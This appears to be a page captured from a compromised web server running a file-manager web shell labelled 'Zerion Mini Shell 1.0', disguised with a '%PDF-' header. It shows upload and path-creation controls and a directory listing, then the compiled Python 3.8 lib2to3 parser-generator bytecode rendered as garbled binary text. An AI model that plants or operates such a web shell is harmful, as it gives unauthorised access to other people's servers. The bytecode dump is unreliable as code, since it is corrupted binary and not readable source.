%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/lib2to3/pgen2/__pycache__/pgen.cpython-38.pyc

U

q©ßaô5ã@sdddlmZmZmZGdd„dejƒZGdd„deƒZGdd„deƒZGdd	„d	eƒZ	ddd„Z
d
S)é)ÚgrammarÚtokenÚtokenizec@seZdZdS)ÚPgenGrammarN)Ú__name__Ú
__module__Ú__qualname__©r	r	ú./usr/local/lib/python3.8/lib2to3/pgen2/pgen.pyrsrc@s eZdZd&dd„Zdd„Zdd„Zdd	„Zd
d„Zdd
„Zdd„Z	dd„Z
dd„Zdd„Zdd„Z
dd„Zdd„Zdd„Zdd„Zd'd d!„Zd"d#„Zd$d%„ZdS)(ÚParserGeneratorNcCsld}|dkrt|ƒ}|j}||_||_t |j¡|_| ¡| 	¡\|_
|_|dk	rZ|ƒi|_| 
¡dS©N)ÚopenÚcloseÚfilenameÚstreamrÚgenerate_tokensÚreadlineÚ	generatorÚgettokenÚparseÚdfasÚstartsymbolÚfirstÚaddfirstsets)ÚselfrrZclose_streamr	r	r
Ú__init__szParserGenerator.__init__c	Cstƒ}t|j ¡ƒ}| ¡| |j¡| d|j¡|D]&}dt|j	ƒ}||j	|<||j
|<q:|D] }|j|}g}|D]`}g}t|j 
¡ƒD]$\}	}
| | ||	¡| |
¡f¡q’|jrÒ| d| |¡f¡| |¡q||j |¡|| ||¡f|j|j	|<qf|j	|j|_|S)Néé)rÚlistrÚkeysÚsortÚremoverÚinsertÚlenÚ
symbol2numberZ
number2symbolÚsortedÚarcsÚitemsÚappendÚ
make_labelÚindexÚisfinalÚstatesÚ
make_firstÚstart)rÚcÚnamesÚnameÚiÚdfar,Ústater&ÚlabelÚnextr	r	r
Úmake_grammars.

zParserGenerator.make_grammarcCs4|j|}i}t|ƒD]}| ||¡}d||<q|S©Nr)rr%r))rr/r1Zrawfirstrr5Úilabelr	r	r
r-4s

zParserGenerator.make_firstcCsbt|jƒ}|d ¡r¾||jkrZ||jkr4|j|S|j |j|df¡||j|<|Snbtt|dƒ}t|t	ƒsxt
|ƒ‚|tjksŠt
|ƒ‚||jkrž|j|S|j |df¡||j|<|Sn |ddksÒt
|ƒ‚t
|ƒ}|d ¡r ||jkrþ|j|S|j tj|f¡||j|<|Sn>tj|}||jkr@|j|S|j |df¡||j|<|SdS)Nr)ú"ú')r#ÚlabelsÚisalphar$Zsymbol2labelr(ÚgetattrrÚ
isinstanceÚintÚAssertionErrorÚtok_nameÚtokensÚevalÚkeywordsÚNAMErZopmap)rr/r5r9ZitokenÚvaluer	r	r
r)=s<












zParserGenerator.make_labelcCs8t|j ¡ƒ}| ¡|D]}||jkr| |¡qdSr)rrrr rÚ	calcfirst)rr0r1r	r	r
rks

zParserGenerator.addfirstsetsc	Csþ|j|}d|j|<|d}i}i}|j ¡D]x\}}||jkr’||jkrj|j|}|dkr~td|ƒ‚n| |¡|j|}| |¡|||<q.d||<|di||<q.i}	| ¡D]:\}}
|
D],}||	krätd||||	|fƒ‚||	|<qÀq´||j|<dS)Nrzrecursion for rule %rrzArule %s is ambiguous; %s is in the first sets of %s as well as %s)rrr&r'Ú
ValueErrorrHÚupdate)rr1r3r4ZtotalsetZoverlapcheckr5r6ÚfsetZinverseZitsfirstÚsymbolr	r	r
rHss4








þzParserGenerator.calcfirstc	Cs i}d}|jtjkr˜|jtjkr*| ¡q| tj¡}| tjd¡| ¡\}}| tj¡| 	||¡}t
|ƒ}| |¡t
|ƒ}|||<|dkr|}q||fS)Nú:)ÚtyperÚ	ENDMARKERÚNEWLINErÚexpectrFÚOPÚ	parse_rhsÚmake_dfar#Úsimplify_dfa)	rrrr1ÚaÚzr3ZoldlenZnewlenr	r	r
r‘s"

zParserGenerator.parsec	sÚt|tƒst‚t|tƒst‚‡fdd„}‡fdd„‰t||ƒ|ƒg}|D]Œ}i}|jD].}|jD]"\}}	|dk	r`ˆ|	| |i¡ƒq`qVt| ¡ƒD]@\}}
|D]}|j|
kržqÆqžt|
|ƒ}| 	|¡| 
||¡q’qH|S)Ncsi}ˆ||ƒ|Srr	)r4Úbase©Ú
addclosurer	r
Úclosure°s
z)ParserGenerator.make_dfa.<locals>.closurecsHt|tƒst‚||krdSd||<|jD]\}}|dkr(ˆ||ƒq(dSr8)r?ÚNFAStaterAr&)r4rXr5r6rYr	r
rZ´sz,ParserGenerator.make_dfa.<locals>.addclosure)r?r\rAÚDFAStateÚnfasetr&Ú
setdefaultr%r'r(Úaddarc)rr.Úfinishr[r,r4r&Znfastater5r6r^Ústr	rYr
rT©s&



zParserGenerator.make_dfac
Csštd|ƒ|g}t|ƒD]|\}}td|||kr2dp4dƒ|jD]T\}}||krZ| |¡}	nt|ƒ}	| |¡|dkr‚td|	ƒq>td||	fƒq>qdS)NzDump of NFA forú  Stateú(final)Úz	    -> %dú    %s -> %d)ÚprintÚ	enumerater&r*r#r()
rr1r.raZtodor2r4r5r6Újr	r	r
Údump_nfaÍs

zParserGenerator.dump_nfacCsdtd|ƒt|ƒD]L\}}td||jr*dp,dƒt|j ¡ƒD]\}}td|| |¡fƒq>qdS)NzDump of DFA forrcrdrerf)rgrhr+r%r&r'r*)rr1r3r2r4r5r6r	r	r
Údump_dfaÝs

zParserGenerator.dump_dfacCspd}|rld}t|ƒD]T\}}t|dt|ƒƒD]8}||}||kr.||=|D]}| ||¡qLd}qq.qqdS)NTFr)rhÚranger#Ú
unifystate)rr3Zchangesr2Zstate_iriZstate_jr4r	r	r
rUäszParserGenerator.simplify_dfacCs~| ¡\}}|jdkr||fStƒ}tƒ}| |¡| |¡|jdkrr| ¡| ¡\}}| |¡| |¡q>||fSdS)Nú|)Ú	parse_altrGr\r`r)rrVrWZaaÚzzr	r	r
rSùs




zParserGenerator.parse_rhscCsL| ¡\}}|jdks(|jtjtjfkrD| ¡\}}| |¡|}q||fS)N)ú(ú[)Ú
parse_itemrGrNrrFÚSTRINGr`)rrVÚbr/Údr	r	r
ro
s
ÿ
zParserGenerator.parse_altcCsŽ|jdkr>| ¡| ¡\}}| tjd¡| |¡||fS| ¡\}}|j}|dkr`||fS| ¡| |¡|dkr‚||fS||fSdS)Nrrú])ú+Ú*rx)rGrrSrQrrRr`Ú
parse_atom)rrVrWrGr	r	r
rss


zParserGenerator.parse_itemcCs†|jdkr4| ¡| ¡\}}| tjd¡||fS|jtjtjfkrpt	ƒ}t	ƒ}| 
||j¡| ¡||fS| d|j|j¡dS)Nrqú)z+expected (...) or NAME or STRING, got %s/%s)rGrrSrQrrRrNrFrtr\r`Úraise_error)rrVrWr	r	r
rz(s
ÿzParserGenerator.parse_atomcCsD|j|ks|dk	r2|j|kr2| d|||j|j¡|j}| ¡|S)Nzexpected %s/%s, got %s/%s)rNrGr|r)rrNrGr	r	r
rQ9sÿzParserGenerator.expectcCsFt|jƒ}|dtjtjfkr*t|jƒ}q
|\|_|_|_|_|_	dS)Nr)
r6rrÚCOMMENTÚNLrNrGZbeginÚendÚline)rÚtupr	r	r
rAs
zParserGenerator.gettokenc
Gs^|r8z||}Wn&d |gttt|ƒƒ¡}YnXt||j|jd|jd|jfƒ‚dS)Nú rr)ÚjoinrÚmapÚstrÚSyntaxErrorrrr€)rÚmsgÚargsr	r	r
r|Hs ÿzParserGenerator.raise_error)N)N)rrrrr7r-r)rrHrrTrjrkrUrSrorsrzrQrr|r	r	r	r
r
s$
	.$

rc@seZdZdd„Zddd„ZdS)r\cCs
g|_dSr)r&)rr	r	r
rSszNFAState.__init__NcCs8|dkst|tƒst‚t|tƒs$t‚|j ||f¡dSr)r?r…rAr\r&r(©rr6r5r	r	r
r`VszNFAState.addarc)N)rrrrr`r	r	r	r
r\Qsr\c@s0eZdZdd„Zdd„Zdd„Zdd„Zd	Zd	S)
r]cCsLt|tƒst‚ttt|ƒƒtƒs$t‚t|tƒs2t‚||_||k|_i|_dSr)	r?ÚdictrAr6Úiterr\r^r+r&)rr^Úfinalr	r	r
r]s
zDFAState.__init__cCs8t|tƒst‚||jkst‚t|tƒs*t‚||j|<dSr)r?r…rAr&r]r‰r	r	r
r`eszDFAState.addarccCs*|j ¡D]\}}||kr
||j|<q
dSr)r&r')rÚoldÚnewr5r6r	r	r
rmkszDFAState.unifystatecCsdt|tƒst‚|j|jkrdSt|jƒt|jƒkr6dS|j ¡D]\}}||j |¡k	r@dSq@dS)NFT)r?r]rAr+r#r&r'Úget)rÚotherr5r6r	r	r
Ú__eq__pszDFAState.__eq__N)rrrrr`rmr‘Ú__hash__r	r	r	r
r][s
r]úGrammar.txtcCst|ƒ}| ¡Sr)rr7)rÚpr	r	r
Úgenerate_grammar€sr•N)r“)rerrrZGrammarrÚobjectrr\r]r•r	r	r	r
Ú<module>sI
%

Zerion Mini Shell 1.0